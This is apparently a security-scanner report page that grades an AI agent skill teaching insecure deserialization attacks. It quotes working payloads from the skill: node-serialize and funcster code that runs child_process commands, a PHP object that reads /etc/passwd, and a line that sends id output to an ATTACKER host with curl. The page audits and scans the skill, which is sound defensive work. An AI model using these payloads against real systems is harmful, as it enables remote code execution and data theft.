deserialization-insecure
github.com/yaklang/hack-skillsVerdict: Proceed with caution
0 critical1 high9 medium
C
SCORE 55 / 100
$skillox install deserialization-insecureSoon
Sign in to followFollowing emails you when a re-scan drops the grade. Opt-out is per-creator on /account/billing.
Why grade C?
score · 55 / 100The current grade reflects 9 medium findings (6+ MEDs → C).
0 CRIT1 HIGH9 MED0 LOW
To reach a higher grade
- BReach Btarget score 75
Resolve 4 of 9 MED (cap is 5).
- AReach Atarget score 95
Resolve all 1 HIGH + 7 of 9 MED (cap is 2).
Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.
Latest scan findings
Scan crawl-onhyumwutz5pdnwcgqnz2xmk · Thu, 28 May 2026 17:27:02 GMT · 3ms
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
179
180```text
181action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}← sensitive path — credential-exfiltration vector
182```
183
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
91The vulnerability exists when `org.apache.commons.collections` (3.x) is on the classpath and the application calls `readObject()` on untrusted data.
92
93Key classes in the chain: `InvokerTransformer` → `ChainedTransformer` → `TransformedMap` → triggers `Runtime.exec()` during deserialization.← spawns a subprocess outside declared capabilities
94
95### Apache Shiro — rememberMe Deserialization
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
411
412 ```json
413 {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}← spawns a subprocess outside declared capabilities
414 ```
415
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
417
418 ```json
419 {"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}← spawns a subprocess outside declared capabilities
420 ```
421
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
556// Payload uses _$$ND_FUNC$$_ marker + IIFE:
557
558var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';← spawns a subprocess outside declared capabilities
559
560// The trailing () makes it an Immediately Invoked Function Expression
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
562
563// Full HTTP exploit (in cookie or body):
564{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}← spawns a subprocess outside declared capabilities
565```
566
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
568```javascript
569// funcster deserializes functions via constructor.constructor pattern:
570{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}← spawns a subprocess outside declared capabilities
571```
572
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
700// Payload: IIFE (Immediately Invoked Function Expression)
701// The _$$ND_FUNC$$_ prefix signals a serialized function
702{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id',function(error,stdout,stderr){console.log(stdout)})}()"}← spawns a subprocess outside declared capabilities
703
704// Key: the () at the end causes immediate execution upon deserialization
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
709// Vulnerable: funcster.deepDeserialize(userInput)
710// Payload uses __js_function to inject via constructor chain:
711{"__js_function":"function(){var net=this.constructor.constructor('return this')().process.mainModule.require('child_process');return net.execSync('id').toString()}()"}← spawns a subprocess outside declared capabilities
712```
713
medNo capability manifest declaredThe skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.rule: no-manifest▾
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule:
no-manifestskillox.io/c/deserialization-insecure